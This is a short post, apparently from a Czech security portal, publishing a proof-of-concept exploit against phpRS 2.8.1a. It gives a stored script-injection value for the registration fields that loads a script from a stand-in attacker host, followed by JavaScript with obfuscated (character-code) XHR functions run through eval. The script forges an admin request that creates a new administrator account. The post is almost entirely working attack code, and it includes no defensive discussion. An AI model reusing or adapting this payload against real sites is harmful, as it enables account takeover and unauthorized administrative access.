phpRS 2.8.1a XSRF POC EXPLOIT

Vložil/a 4194 [1], 29 Leden, 2010 - 12:20

- Exploit [2]

PHPRS 2.8.1A XSRF POC EXPLOIT
VULN: REGISTRATION (readers.php), INPUTS ‘rcelejmeno’ && ‘rmail’
VALUE: “-</td><script src=http://ev.il/xpl.js />”
AUTHOR: 4194
EXPLOIT_DESCRIPTION: creating new admin account

```
function exploit () {
// post data
var pd = ‘pruser=usr&prheslo=******&prheslo2=******&prjme’+
‘no=usr&prmail=usr@owned.ya&prurl=http://lol.cz’+
‘&prim=100000001&prblokace=0&prprava=2&prjazyk=cz&akce=AcAddUser’+
‘&modul=users’;

// xhr init function

var xif = String.fromCharCode(102,117,110,99,116,105,111,110,32,99,
114,101,97,116,101,82,101,113,117,101,115,116,79,98,106,101,99,116,
32,40,41,32,123,118,97,114,32,114,101,113,59,105,102,32,40,119,105,
110,100,111,119,46,88,77,76,72,116,116,112,82,101,113,117,101,115,
116,41,32,123,114,101,113,32,61,32,110,101,119,32,88,77,76,72,116,
116,112,82,101,113,117,101,115,116,40,41,59,125,32,101,108,115,101,
32,105,102,40,119,105,110,100,111,119,46,65,99,116,105,118,101,88,
79,98,106,101,99,116,41,32,123,114,101,113,32,61,32,110,101,119,32,
65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,
111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,125,32,101,108,
115,101,32,123,114,101,116,117,114,110,32,102,97,108,115,101,59,125,
114,101,116,117,114,110,32,114,101,113,59,125);

// xhr post function
var xpf = String.fromCharCode(102,117,110,99,116,105,111,110,32,112,
111,115,116,32,40,112,97,103,101,44,32,100,97,116,97,41,32,123,118,
97,114,32,104,116,116,112,32,61,32,99,114,101,97,116,101,82,101,113,
117,101,115,116,79,98,106,101,99,116,40,41,59,100,97,116,97,32,61,
32,100,97,116,97,32,43,32,34,38,81,61,34,32,43,32,77,97,116,104,46,
114,97,110,100,111,109,40,41,59,104,116,116,112,46,111,112,101,110,
40,39,80,79,83,84,39,44,32,112,97,103,101,44,32,116,114,117,101,41,
59,104,116,116,112,46,115,101,116,82,101,113,117,101,115,116,72,101,
97,100,101,114,40,34,67,111,110,116,101,110,116,45,116,121,112,101,
34,44,32,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,
119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,
100,34,41,59,104,116,116,112,46,115,101,116,82,101,113,117,101,115,
116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,108,
101,110,103,116,104,34,44,32,100,97,116,97,46,108,101,110,103,116,
104,41,59,104,116,116,112,46,115,101,116,82,101,113,117,101,115,116,
72,101,97,100,101,114,40,34,67,111,110,110,101,99,116,105,111,110,
34,44,32,34,99,108,111,115,101,34,41,59,104,116,116,112,46,111,110,
114,101,97,100,121,115,116,97,116,101,99,104,97,110,103,101,32,61,
32,102,117,110,99,116,105,111,110,40,41,32,123,105,102,40,104,116,
116,112,46,114,101,97,100,121,83,116,97,116,101,32,61,61,32,52,32,
38,38,32,104,116,116,112,46,115,116,97,116,117,115,32,61,61,32,50,
48,48,41,32,123,114,101,116,117,114,110,32,116,114,117,101,59,125,
125,59,104,116,116,112,46,115,101,110,100,40,100,97,116,97,41,59,
104,116,116,112,46,115,101,110,100,40,110,117,108,108,41,59,125);

eval(xif+xpf);
post(”admin.php”, pd);
}
exploit();
<code>
```

URL článku: https://security-portal.cz/clanky/phprs-281a-xsrf-poc-exploit

Odkazy:
[1] https://security-portal.cz/users/4194
[2] https://security-portal.cz/category/tagy/exploit